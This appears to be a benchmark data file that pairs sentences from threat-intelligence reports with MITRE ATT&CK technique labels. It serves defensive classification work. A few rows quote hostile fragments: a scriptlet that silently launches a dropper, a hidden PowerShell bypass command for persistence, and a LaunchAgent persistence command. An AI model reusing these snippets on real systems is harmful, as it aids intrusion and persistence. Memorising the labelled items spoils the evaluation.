sets its DLL file as a new service in the Registry to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Several  malware families install themselves as new services on victims.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Several tools used by  have been command-line driven.,['T1059 - Command and Scripting Interpreter'],eval_config
Some  components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.,['T1102 - Web Service'],eval_config
"Some data in  is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.",['T1027 - Obfuscated Files or Information'],eval_config
Some  DLL files have been packed with UPX.,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
"Some  samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.",['T1001 - Data Obfuscation'],eval_config
Some  variants create a new Windows service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Some  variants install .dll files as services with names generated by a list of hard-coded strings.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Some variants of the  Trojan have been known to store data in Extended Attributes.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],eval_config
Some variants of  use RC4 to encrypt C2 traffic.,['T1573 - Encrypted Channel'],eval_config
stages the output from command execution and collected files in specific folders before exfiltration.,['T1074 - Data Staged'],eval_config
stores the gathered data from the machine in .db files and .bmp files under four separate locations.,['T1074 - Data Staged'],eval_config
surveys a system upon check-in to discover running services and associated processes using the tasklist /svc command.,['T1007 - System Service Discovery'],eval_config
"The ""ZJ"" variant of  allows ""ZJ link"" infections with Internet access to relay traffic from ""ZJ listen"" to a command server.",['T1090 - Proxy'],eval_config
The discovery modules used with  can collect information on open windows.,['T1010 - Application Window Discovery'],eval_config
The  group is known to have used pass the hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],eval_config
"The main  dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit. Newer versions of  will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.",['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
"The  malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.",['T1071 - Application Layer Protocol'],eval_config
The net start and net stop commands can be used in  to execute or stop Windows services.,['T1569.002 - System Services: Service Execution'],eval_config
The net start command can be used in  to find information about Windows services.,['T1007 - System Service Discovery'],eval_config
The net use \\system\share /delete command can be used in  to remove an established connection to a network share.,['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],eval_config
The net view \\remotesystem and net share commands in  can be used to find shared drives and directories on remote and local systems respectively.,['T1135 - Network Share Discovery'],eval_config
"The original variant of  encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation.  has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of  use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.",['T1573 - Encrypted Channel'],eval_config
The PowerShell script with the  payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.,['T1027 - Obfuscated Files or Information'],eval_config
The  trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.,['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
"To assist in establishing persistence,  creates %APPDATA%\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”.",['T1064 - Scripting'],eval_config
took screen shots using their Windows malware.,['T1113 - Screen Capture'],eval_config
typically loads its DLL file into a legitimate signed Java or VMware executable.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
uploads and downloads files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],eval_config
used a .NET tool to dump data from Microsoft Exchange mailboxes.,['T1114 - Email Collection'],eval_config
used a batch script to gather folder and file names from victim hosts.,['T1083 - File and Directory Discovery'],eval_config
used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.,"['T1560 - Archive Collected Data', 'T1119 - Automated Collection']",eval_config
used a tool called BruteForcer to perform a brute force attack.,['T1110 - Brute Force'],eval_config
used a tool called Imecab to set up a persistent remote access account on the victim machine.,"['T1108 - Redundant Access', 'T1136 - Create Account']",eval_config
used Kerberos ticket attacks for lateral movement.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],eval_config
used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.,['T1078 - Valid Accounts'],eval_config
used named and hijacked scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router.  has also used a machine to relay and obscure communications between  and their server.",['T1090 - Proxy'],eval_config
used PowerShell commands to execute payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
used SMB for C2.,['T1071 - Application Layer Protocol'],eval_config
used SMB over ports 445 or 139 for C2. The group also established encrypted connections over port 443.,['T1043 - Commonly Used Port'],eval_config
used stolen certificates to sign its malware.,['T1553.002 - Code Signing'],eval_config
used the command query user on victim hosts.,['T1033 - System Owner/User Discovery'],eval_config
used the Plink utility and other tools to create tunnels to C2 servers.,['T1573 - Encrypted Channel'],eval_config
"used Visual Basic Scripts (VBS), JavaScript code, batch files, and .SCT files on victim machines.",['T1064 - Scripting'],eval_config
used WMI to steal credentials and execute backdoors at a future time.,['T1047 - Windows Management Instrumentation'],eval_config
uses a batch file to delete itself.,['T1064 - Scripting'],eval_config
uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
uses a Launch Agent to persist.,['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.,['T1027 - Obfuscated Files or Information'],eval_config
uses an encrypted file to store commands and configuration values.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],eval_config
uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.,['T1092 - Communication Through Removable Media'],eval_config
"uses batch scripts for various purposes, including to restart and uninstall itself.",['T1064 - Scripting'],eval_config
uses cmd.exe to execute commands.,['T1059 - Command and Scripting Interpreter'],eval_config
uses command-line interaction to search files and directories.,['T1083 - File and Directory Discovery'],eval_config
uses HTTPS to conceal C2 communications.,['T1071 - Application Layer Protocol'],eval_config
uses launchctl to enable screen sharing on the victim’s machine.,['T1569.001 - System Services: Launchctl'],eval_config
uses NetUser-GetInfo to identify that it is running under an “Admin” account on the local system.,['T1033 - System Owner/User Discovery'],eval_config
uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.,['T1027 - Obfuscated Files or Information'],eval_config
uses port 443 for the control server communications.,['T1043 - Commonly Used Port'],eval_config
uses port 52100 and 5876 for C2 communications.,['T1571 - Non-Standard Port'],eval_config
"uses Port Numbers 80, 8080, 8000, and 443 for communication to the C2 servers.",['T1043 - Commonly Used Port'],eval_config
uses PowerShell for execution as well as PowerShell Empire to establish persistence.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
uses Python for scripting to execute additional commands.,['T1064 - Scripting'],eval_config
uses rundll32.exe in a Registry value added to establish persistence.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
uses rundll32.exe to load.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
uses the netstat command to find open ports on the victim’s machine.,['T1049 - System Network Connections Discovery'],eval_config
uses the net view command for discovery.,['T1018 - Remote System Discovery'],eval_config
uses the zip -r command to compress the data collected on the local system.,['T1560 - Archive Collected Data'],eval_config
uses token manipulation with NtFilterToken as part of UAC bypass.,['T1134 - Access Token Manipulation'],eval_config
uses Tor for command and control.,['T1090.003 - Proxy: Multi-hop Proxy'],eval_config
uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.,['T1102 - Web Service'],eval_config
"uses Windows services typically named ""javamtsup"" for persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
uses WinRAR to compress data that is intended to be exfiltrated.,['T1560 - Archive Collected Data'],eval_config
"Various  malware modifies the Windows firewall to allow incoming connections or disable it entirely using .  malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally,  malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
will look for the current IP address.,['T1016 - System Network Configuration Discovery'],eval_config
What does the resulting watering hole look like? The websites were compromised to redirect visitors to instances of both ScanBox and BEeF,['T1189 - Drive-by Compromise'],eval_config
Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets,['T1189 - Drive-by Compromise'],eval_config
This is followed by a number of Linux shell command style commands related to the malware establishing persistence,['T1059 - Command and Scripting Interpreter'],eval_config
Tracked Commands During observation of the described above “router-PC” CnC we tracked the following commands delivered in the config file before the server went offline,['T1059 - Command and Scripting Interpreter'],eval_config
"The command tab will show previously issued commands, when they were issued, and their status, as seen in Figure 4",['T1059 - Command and Scripting Interpreter'],eval_config
Figure 7 shows just how similar these two batch scripts are with several of the headers being exactly the same and a majority of the commands being the same with the Helminth commands having the 2>&1 suffix to include command errors with the output,['T1059 - Command and Scripting Interpreter'],eval_config
"For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands",['T1059 - Command and Scripting Interpreter'],eval_config
The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs,['T1059 - Command and Scripting Interpreter'],eval_config
"The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute any scripts/commands and receive the result via HTTP requests",['T1059 - Command and Scripting Interpreter'],eval_config
"<?XML version=”1.0″?> <scriptlet> <registration description=”fjzmpcjvqp” progid=”fjzmpcjvqp” version=”1.00″ classid=”{204774CF-D251-4F02-855B-2BE70585184B}” remotable=”true” > </registration> <script language=”JScript”> <![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“cmd /c %tmp%\\qrat.exe”,0,false); exit(); ]]> </script> </scriptlet> After the initial dropper (qrat.exe) has been executed by the embedded scriptlet, it creates a directory in C:\Users\%username%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0 and unpacks/drops the final QuasarRAT binary named microsoft_network.exe",['T1059 - Command and Scripting Interpreter'],eval_config
"C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS:    Command Description   0 Kill BADNEWS",['T1059 - Command and Scripting Interpreter'],eval_config
"Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely",['T1059 - Command and Scripting Interpreter'],eval_config
"BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration",['T1059 - Command and Scripting Interpreter'],eval_config
"The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands",['T1059 - Command and Scripting Interpreter'],eval_config
"After the payload is launched, the shellcode runs the following commands to prevent Microsoft Word from showing a recovery dialog:   Lastly, the shellcode overwrites the malicious file with a decoy document related to the Indian defense forces’ pay scale / matrix (Figure 3), displays it to the user and terminates the exploited instance of Microsoft Word",['T1027 - Obfuscated Files or Information'],eval_config
This build tool encrypts the binary’s strings with a fresh key for each build,['T1027 - Obfuscated Files or Information'],eval_config
The group clearly shows a preference for using a simple downloader like Zebrocy as first-stage payloads in these attacks,['T1027 - Obfuscated Files or Information'],eval_config
APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property,['T1027 - Obfuscated Files or Information'],eval_config
"When we converted the dates in the file strings from the Solar Hijri calendar to the Gregorian one, we found that they were close to the compilation times of the executables and also close to when Cadelle’s targets were initially compromised",['T1027 - Obfuscated Files or Information'],eval_config
Some of the key obfuscation techniques used are:   Character Replacement: Several instances of character replacement and string reversing techniques (Figure 10) make analysis difficult,['T1027 - Obfuscated Files or Information'],eval_config
"The current version, HawkEye Reborn v9 has been modified from earlier versions and heavily obfuscated to make analysis more difficult.The email campaigns that have been observed feature characteristics that are consistent with what is commonly seen with malspam campaigns, with the emails purporting to be associated with various documents such as invoices, bills of materials, order confirmations, and other corporate functions",['T1027 - Obfuscated Files or Information'],eval_config
"The AutoIT script is offering a lot of other functions which are not used in this campaign, like anti-virtual machine detection, USB drive infection and others.The final payload — which we found in the AutoIT PE file resource section and was started by the process-hollowing shellcode — is a .NET PE file that's obfuscated with ConfuserEx",['T1027 - Obfuscated Files or Information'],eval_config
All strings below are encrypted via AES256 and base64 encoding,['T1027 - Obfuscated Files or Information'],eval_config
"Embedded Trojan This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document",['T1027 - Obfuscated Files or Information'],eval_config
Figure 3 shows this webshell’s code that will run supplied JScript provided in base64 encoded format within the URL within a parameter,['T1027 - Obfuscated Files or Information'],eval_config
"Figure 6: Assembly view of Sample 3 root installation related byte arrays As it turns out, the referenced byte mask is applied to the other byte arrays using a rolling double-XOR algorithm to construct malware installation paths, filenames, and descriptions for a Linux root account",['T1573 - Encrypted Channel'],eval_config
"It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway",['T1016 - System Network Configuration Discovery'],eval_config
"If Adobe Flash or Microsoft Silverlight is no longer required, DHS recommends that those applications be removed from systems.The IOCs provided with this alert include IP addresses determined to be part of the HIDDEN COBRA botnet infrastructure, identified as DeltaCharlie",['T1016 - System Network Configuration Discovery'],eval_config
"The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh; Android.The malware begins by creating a web service object and uses the following URL within its configuration: http:// service.chrome-up[.]date:8080 /WebService.asmx It then calls a function called “SetLog2”, which sets variables for the system’s IP address, MAC address and hostname",['T1016 - System Network Configuration Discovery'],eval_config
"The public IP is then POSTed along with OS Version, Internal IP, Machine Name, Domain Name, UserName after being encrypted to the previously chosen URL to register a new victim",['T1016 - System Network Configuration Discovery'],eval_config
The email address is associated with the Lebanese domain of a major global financial institution,['T1016 - System Network Configuration Discovery'],eval_config
Examining passive DNS (pDNS) records from PassiveTotal revealed several domain names associated with this IP that mimic popular technology companies,['T1016 - System Network Configuration Discovery'],eval_config
"The code will gather the information and format the list using the following HTML to create a table: <table> <tr><td>Type</td><td>Owner</td><td>Permissions</td><td>Created</td><td>Modificated</td><td>Size</td><td>Path</td></tr> <tr><td>[fileType]</td><td>[fileOwnerAccountName]</td><td>[number filePosixPermissions]</td><td>[fileCreationDate]</td><td>[fileModificationDate]</td><td>[fileSize]</td><td>[file path?]</td></tr> … </table>    Table 1 Commands available within XAgent OSX The ‘showBackupIosFolder’ command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad",['T1016 - System Network Configuration Discovery'],eval_config
APT40 relies heavily on web shells for an initial foothold into an organization,['T1505.003 - Server Software Component: Web Shell'],eval_config
The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at “%temp%\Save.tmp”,['T1010 - Application Window Discovery'],eval_config
"Destroy Evidence: Securely deleted logs, as well as deployed and executed disk-wiping malware, to cover tracks and disrupt forensic analysis",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"In the event it does, Reaver will move this file to ‘%TEMP%\~FJIOW.tmp’ and delete this new file",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
Size Expansion of Configuration Information PlugX is designed to run based on its configuration information stored in itself,['T1082 - System Information Discovery'],eval_config
System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors,['T1082 - System Information Discovery'],eval_config
"Cadelspy initially arrives on the computer as a dropper, which downloads two installer components catering to whether the victim is running a 32-bit or 64-bit system",['T1082 - System Information Discovery'],eval_config
"You can see that in addition to the code, the author copy-pasted English typos such as ""IE Registery"":PDB PathsWe can clearly identify a pattern in the PDB naming convention of all the binaries mentioned in this article.ROKRAT:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb (from the ""Evil New Year"" campaign)d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb (from the ""North Korean Human Rights"" campaignD:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb (ROKRAT Sample from an unidentified campaign from June)Wiper:D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb (From the ""Are You Happy?"" campaign)Summary GraphHere is a graph to visualize the similarities and differences between each campaign mentioned in this article:ConclusionSouth Korea is becoming an important target for malicious actors and the techniques used are becoming specific to the region (for example: use of native language to try and ensure the targets feel that the information, document or email being sent to them has added legitimacy)",['T1082 - System Information Discovery'],eval_config
"Parameter   Description    ‘u=’  This parameter contains target machine information in the following format: <Computer Name>, <User Name>, <Windows Versions>, <Processor Architecture>, <1.3>, < KdfrJKN >, <Volume Serial Number>    ‘&h=’  This parameter includes the information about the command executed and its results",['T1082 - System Information Discovery'],eval_config
"The rest of MirageFox functions similarly to previous malware created by APT15, first collecting information about the computer like the username, CPU information, architecture, and so forth",['T1082 - System Information Discovery'],eval_config
"The HandlePP::getClientID method uses the following environment variables:   Figure 11. Serial number   Figure 12. Hardware UUID   Figure 13. MAC address   Figure 14. Randomly generated UUID For the initial information packet, the backdoor also collects the following:   Figure 15. OS version Running getpwuid ->pw_name , scutil – -get ComputerName, and uname –m will provide the following returns respectively:  Mac OSX 10.12",['T1082 - System Information Discovery'],eval_config
"Additional information For more information about the attacks and the indicators of compromise, please contact: intelreports@kaspersky.com Alternatively, please visit: https://www.kaspersky.com/enterprise-security/apt-intelligence-reporting To find more information about cybersecurity awareness training for enterprise or government staff, go to Kaspersky Security Awareness",['T1082 - System Information Discovery'],eval_config
"Is this a Windows-only threat? Which versions of Windows are targeted? Poseidon is particularly focused on the Microsoft Windows operating system family, specifically customizing the infection method for each one so as to gather different information and hide its presence after the initial infection",['T1082 - System Information Discovery'],eval_config
"URL parameter Sample data Description   c= Victim->Administrator Hostname and username   l= 192.168.1.100 Compromised system's IP address   o= 5,1,1,32 Windows major and minor version, coupled with architecture (32 v",['T1082 - System Information Discovery'],eval_config
The PE compile time of loaders and the create time of droppers (Word documents) are plotted in the graph,['T1124 - System Time Discovery'],eval_config
"Alarmingly, the detection score on VirusTotal for all of the documents continues to be 0/56 from the time the first documents were uploaded (1.6.2017) up until the date of this publication",['T1124 - System Time Discovery'],eval_config
The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC),['T1124 - System Time Discovery'],eval_config
"The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set",['T1124 - System Time Discovery'],eval_config
"Figure 2: Exploit Shellcode used to Locate and Decode Payload The shellcode (Figure 2) searches for and decodes the executable payload contained in memory between the beginning and ending file markers 0xBABABABA and 0xBBBBBBBB, respectively",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Comnie continues to load an embedded bitmap (BMP) file and decrypt data at offset 0x512,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
The subdomain 676f6f646c75636b is a hex encoded string which decodes to goodluck,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Even if the arsenal of this actor is diverse, we have identified some patterns, copy-paste code from various public repositories and similarities between the different piece of code",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"The MirageFox binaries export a function called dll_wWinMain, the name of an export in vsodscpl.dll, a module by McAfee that is loaded by a few of their executables that import and call this function",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
The malware proceeds to decrypt and embedded configuration of 128 bytes using a simple XOR routine,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
No pdb/debug strings are present in the code,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Malicious document used by Tropic Trooper PDB Strings as Context Clues The MSI file has two program database (PDB) strings inside: one belonging to the MSI file, and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB)",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Snapshot of code we used to decrypt TClient’s configuration   Figure 11,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network","['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",eval_config
BootComplete starts the AutoStartup service and the AutoStartup service makes sure that MainActivity is always running,"['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",eval_config
"The executable attempts to download a couple of files from different sources and saves them in the AppData and Startup folders for persistence, then invokes the first downloaded file – Picture2.exe",['T1105 - Ingress Tool Transfer'],eval_config
It exploits CVE-2017-0199 to download the second stage payload from 193.23.181.151 (Figure 3),['T1105 - Ingress Tool Transfer'],eval_config
"Zyklon is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal",['T1105 - Ingress Tool Transfer'],eval_config
"Figure 4: Embedded URL in OLE object    Figure 5: HTTP GET request to download the next level payload The downloaded file, doc.doc, is XML-based and contains a PowerShell command (shown in Figure 6) that subsequently downloads the binary Pause.ps1",['T1105 - Ingress Tool Transfer'],eval_config
"Figure 8: Network communication to download the Pause.ps1 payload Zyklon Delivery In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded (as seen in Figure 8)",['T1105 - Ingress Tool Transfer'],eval_config
"As shown in Figure 12, the script within the dupatechecker.doc file attempts to download another file named dupatechecker.exe from the same server",['T1105 - Ingress Tool Transfer'],eval_config
Most of them manipulate the machine to download and execute different files,['T1105 - Ingress Tool Transfer'],eval_config
"A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution.",['T1105 - Ingress Tool Transfer'],eval_config
SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests,['T1071 - Application Layer Protocol'],eval_config
Pseudo-HTTP Protocol Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character,['T1071 - Application Layer Protocol'],eval_config
"After Comnie collects the remote C2 information, it will communicate with these remote servers using HTTP requests",['T1071 - Application Layer Protocol'],eval_config
"If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items:  User Agent Format and structure of the HTTP Uniform Resource Identifier (URI)   Figure 3: HIGHTIDE GET Request Example Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158",['T1071 - Application Layer Protocol'],eval_config
Figure 9: Command logs after execution Network Communications FELIXROOT communicates with its C2 via HTTP and HTTPS POST protocols,['T1071 - Application Layer Protocol'],eval_config
"The following shows the specific IP addresses or strings used by the C2 to transmit a success or cancel message depending on the type of DNS query used for C2 communications:    DNS Type Successful Cancel   A,AC 1.1.1.\d+ 1.2.9.\d+   AAAA 2a00:: 2200::   CNAME,MX,TXT,SRV,SOA ok cancel    After providing system specific information, the payload will Interact with the C2 server to obtain commands, which the payload refers to as jobs",['T1071 - Application Layer Protocol'],eval_config
"It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful",['T1071 - Application Layer Protocol'],eval_config
"Finally, the first DLL adds the registry key “SysRat,” at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
The .lnk file extracted from the .7zip file,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
"If this file exists, the content is read in order to obtain a path to find a second file with the LNK (link) extension",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
"When it is executed, it creates two files: an LNK file that points to %system32%\rundll32.exe, and the FELIXROOT loader component",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
In this campaign the KopiLuwak backdoor was encoded and delivered in a Windows shortcut (.lnk) file,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
"When the Trojan runs as an executable within the “DsvHelper” folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the ‘DsvHelper’ folder",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
The tactic also serves to mask malicious C2 and exfiltration traffic and make it appear innocuous,['T1132 - Data Encoding'],eval_config
The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload,['T1132 - Data Encoding'],eval_config
McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access,['T1132 - Data Encoding'],eval_config
The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order,['T1132 - Data Encoding'],eval_config
"Initial Compromise For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection",['T1598.002 - Spearphishing Attachment'],eval_config
"In order to meet the phishing emails’ infrastructure requirements, disposable domains and emails were used as the delivery medium",['T1598.002 - Spearphishing Attachment'],eval_config
"Initial Attack On December 13, 2017, a spear phishing email was sent from the email address of yuri.sidorav@yandex[.]ru to a high ranking individual within a British government agency",['T1598.002 - Spearphishing Attachment'],eval_config
Traps blocks all of the files currently associated with Gorgon Group    Appendix   Analysis of a targeted attack “1971 Liberation War Freedom Fighters in Pakistan ArmyCustody Database98” The delivery documents used in the targeted attacks are Microsoft Office documents that contain a macro that attempts to compromise the system,['T1598.002 - Spearphishing Attachment'],eval_config
The victim will then see a prompt to Enable Content as with any malicious macro document as seen in Figure 5,['T1204 - User Execution'],eval_config
"Figure 5 Remote template document requesting the user to click “Enable Content” to run macro Clustering The delivery documents used in the October and November waves shared a large number of similarities, as seen in Table 1, which allowed us to cluster the activity together",['T1204 - User Execution'],eval_config
"In one example, the Word document contained a button with the label “First click “Enable Content” above the page, then click here to fill out the form”  This string attempts to trick the user into enabling macros to execute the malicious code within the macro",['T1204 - User Execution'],eval_config
Malicious Macro Analysis When the victim opens the ThreeDollars document they are presented with the lure image and prompted to click on the “Enable Content” button,['T1204 - User Execution'],eval_config
Figure 9: Example of callback Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2,['T1573 - Encrypted Channel'],eval_config
A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately,['T1573 - Encrypted Channel'],eval_config
"It has historically leveraged legitimate third-party websites to host the malware’s command and control (C2) information, acting as “dead drops”",['T1102 - Web Service'],eval_config
The group also used GitHub as a repository for tools that it downloaded post-compromise.,['T1102 - Web Service'],eval_config
"The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment",['T1018 - Remote System Discovery'],eval_config
"The primary difference was that this sample was encrypted and password protected, requiring the victim to enter in a password which was likely provided by the adversary to view the document",['T1018 - Remote System Discovery'],eval_config
"(Source: Dell SecureWorks) Over a few days' span, the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance",['T1018 - Remote System Discovery'],eval_config
"NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:  Login passwords of remote computers on LAN",['T1003 - OS Credential Dumping'],eval_config
It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents,['T1083 - File and Directory Discovery'],eval_config
Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states,['T1083 - File and Directory Discovery'],eval_config
17 Complete List of Malware Files  Fig,['T1083 - File and Directory Discovery'],eval_config
"Some lure documents used in these attacks are shown below: Decoy documents used in BlackOasis attacks To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015:  CVE-2015-5119 – June 2015 CVE-2016-0984 – June 2015 CVE-2016-4117 – May 2016 CVE-2017-8759 – Sept 2017 CVE-2017-11292 – Oct 2017  Attacks Leveraging CVE-2017-11292 The attack begins with the delivery of an Office document, presumably in this instance via e-mail.  Embedded within the document is an ActiveX object which contains the Flash exploit",['T1203 - Exploitation for Client Execution'],eval_config
"Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time.  Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively.  These exploit chains also delivered FinSpy installation packages",['T1068 - Exploitation for Privilege Escalation'],eval_config
